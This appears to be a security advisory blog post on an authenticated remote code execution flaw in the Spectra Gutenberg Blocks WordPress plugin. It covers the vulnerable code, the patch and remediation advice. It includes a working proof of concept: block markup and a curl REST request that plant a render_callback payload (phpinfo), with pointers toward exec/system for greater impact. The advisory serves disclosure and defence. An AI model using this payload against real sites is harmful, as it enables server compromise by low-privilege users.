CVE-2026-7465: Spectra Gutenberg Blocks Contributor+ RCE (CVSS 8.8)
Table of Contents
CVE-2026-7465 is a CVSS 8.8 High severity Authenticated Remote Code Execution vulnerability in the Spectra Gutenberg Blocks – Website Builder for the Block Editor WordPress plugin. An attacker with Contributor-level access can call any PHP function on the server by embedding a two-block payload in post content. This can lead to full server compromise.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Spectra Gutenberg Blocks – Website Builder for the Block Editor |
| Plugin Slug | ultimate-addons-for-gutenberg |
| CVE ID | CVE-2026-7465 |
| CVSS Score | 8.8 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Authenticated (Contributor+) Remote Code Execution via Arbitrary PHP Function Call |
| Affected Versions | <= 2.19.25 |
| Patched Version | 2.19.26 |
| Published | May 29, 2026 |
| Researcher | kai63001 |
| Wordfence Advisory | Link |
Description
The Spectra Gutenberg Blocks plugin for WordPress is vulnerable to Remote Code Execution in all versions up to and including 2.19.25. Authenticated attackers with Contributor-level access and above can execute code on the server. Exploitation requires a two-block payload embedded in post content. The first block registers a fake uagb/-prefixed block type with an attacker-specified render_callback. The second block of the same fake type triggers invocation of that callback via call_user_func() during sequential block rendering in the same page request.
Technical Analysis
Vulnerable Hook Registration
The UAGB_Init_Blocks class registers a filter on the render_block WordPress hook inside its constructor:
// classes/class-uagb-init-blocks.php — line 77-82
if ( ! is_admin() ) {
add_action( 'render_block', array( $this, 'render_block' ), 5, 2 );
add_filter( 'render_block', array( $this, 'add_gbs_class' ), 10, 2 );
}
The hook fires on the front-end only (!is_admin()). It uses priority 5, which means the plugin’s callback runs before WordPress core’s default priority 10.
The Vulnerable Function
// classes/class-uagb-init-blocks.php — lines 328–337
public function render_block( $block_content, $block ) {
// Register only UAG blocks.
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
// Register block on server-side to support WP Hide blocks feature in WP 6.9.
$registry = WP_Block_Type_Registry::get_instance();
// Only register if the block is NOT already registered.
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] ); // ← VULNERABLE
}
}
// ...
}
There are two problems here.
Problem 1 — No block name validation. The check strpos($block['blockName'], 'uagb/') !== false accepts any block name that contains the string uagb/. This means an attacker can register a fake block type like uagb/evil-block that has never been defined by the plugin.
Problem 2 — User-controlled attributes passed to block registry. The call $registry->register($block['blockName'], $block['attrs']) passes the raw block attributes array from the post content directly to WP_Block_Type_Registry::register(). This function accepts render_callback as a recognized argument. An attacker can set render_callback to any callable PHP function name in the attributes of their crafted block.
How the Two-Block Payload Works
WordPress renders blocks sequentially. For each block, it calls apply_filters('render_block', ...) after rendering. The plugin’s hook fires at priority 5 during this filter.
Block 1 rendering — The fake uagb/evil-block is not yet in the registry. The plugin’s render_block() fires, finds the block name starts with uagb/, checks the registry, and registers the fake block type with the attacker-controlled attributes (including render_callback). The block renders without executing any callback (it wasn’t registered before this point).
Block 2 rendering — WordPress constructs a WP_Block instance for the second uagb/evil-block occurrence. This time, WP_Block_Type_Registry::get_instance()->get_registered('uagb/evil-block') returns the type registered in Block 1 — complete with the malicious render_callback. WordPress’s WP_Block::render() then executes:
$block_content = (string) call_user_func(
$this->block_type->render_callback, // ← attacker-controlled PHP callable
$this->attributes, // ← block attributes as first argument
$block_content,
$this
);
Any PHP callable accessible in the WordPress runtime can be invoked. The impact ranges from information disclosure (phpinfo, var_dump) to full server compromise (exec, system, passthru).
Execution Trigger
The hook only fires on non-admin pages (!is_admin()). This means the attack triggers when a post is:
- Viewed on the front-end by any visitor
- Previewed in the WordPress editor (preview URLs are front-end requests)
A Contributor can create a draft post and preview it directly. If a Contributor submits the post for review and an admin opens the preview, the callback executes in the context of the current request.
Proof of Concept
Disclaimer: This proof of concept is provided for educational and defensive purposes only. Test only on systems you own or have explicit written permission to test.
Prerequisites:
- WordPress site with Spectra Gutenberg Blocks <= 2.19.25 installed and active
- Attacker account with at least Contributor-level access
Step 1 — Create a post with the two-block payload
Log in as a Contributor and create a new post. Switch to the Code Editor view in the WordPress block editor and paste the following block markup:
<!-- wp:uagb/spectra-rce {"render_callback":"phpinfo"} -->
<!-- /wp:uagb/spectra-rce -->
<!-- wp:uagb/spectra-rce /-->
Or use the REST API to create a draft post programmatically:
# Replace TARGET, contributor, and password with your values
curl -s -X POST https://TARGET/wp-json/wp/v2/posts \
-u 'contributor:password' \
-H 'Content-Type: application/json' \
-d '{
"title": "RCE Test",
"content": "<!-- wp:uagb/spectra-rce {\"render_callback\":\"phpinfo\"} -->\n<!-- /wp:uagb/spectra-rce -->\n\n<!-- wp:uagb/spectra-rce /-->",
"status": "draft"
}'
Step 2 — Trigger the RCE
Preview the draft post. The block rendering sequence executes as follows:
- Block 1 (
uagb/spectra-rce) hits the plugin’srender_blockfilter. The block name is not in the registry, so the plugin registers it withrender_callback: "phpinfo". - Block 2 (
uagb/spectra-rce) is now a registered dynamic block. WordPress callscall_user_func('phpinfo', $attrs, '', $block). phpinfo()executes on the server and outputs the PHP configuration to the response.
Step 3 — Verify
The preview page returns the full phpinfo() output instead of the post content. This confirms arbitrary PHP function invocation on the server.
For a more impactful attack vector, replace phpinfo with any other callable available in the WordPress environment, such as functions from other loaded plugins or PHP built-ins that operate on the provided arguments.
Patch Analysis
The fix is a one-line change in classes/class-uagb-init-blocks.php:
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
The patched version registers the block type with an empty array instead of the user-controlled $block['attrs']. This means no attacker-supplied data — including render_callback — reaches the block type registry. The block is still registered (to support the WP 6.9 “Hide blocks” feature), but without any properties.
The fix addresses the root cause directly and does not require the plugin to sanitize or allowlist block attributes. Passing an empty array is sufficient because the plugin only needs the block name in the registry, not its configuration.
Timeline
| Date | Event |
|---|---|
| May 29, 2026 | Wordfence publicly published the advisory |
| May 30, 2026 | Advisory last updated |
| June 7, 2026 | Blog post published |
Remediation
Update Spectra Gutenberg Blocks to version 2.19.26 or later immediately. You can update from the WordPress Admin → Plugins → Updates screen, or download the patched version directly from wordpress.org.
If you cannot update immediately, restrict Contributor-level access on your site to trusted users only, as any Contributor can exploit this vulnerability on unpatched versions.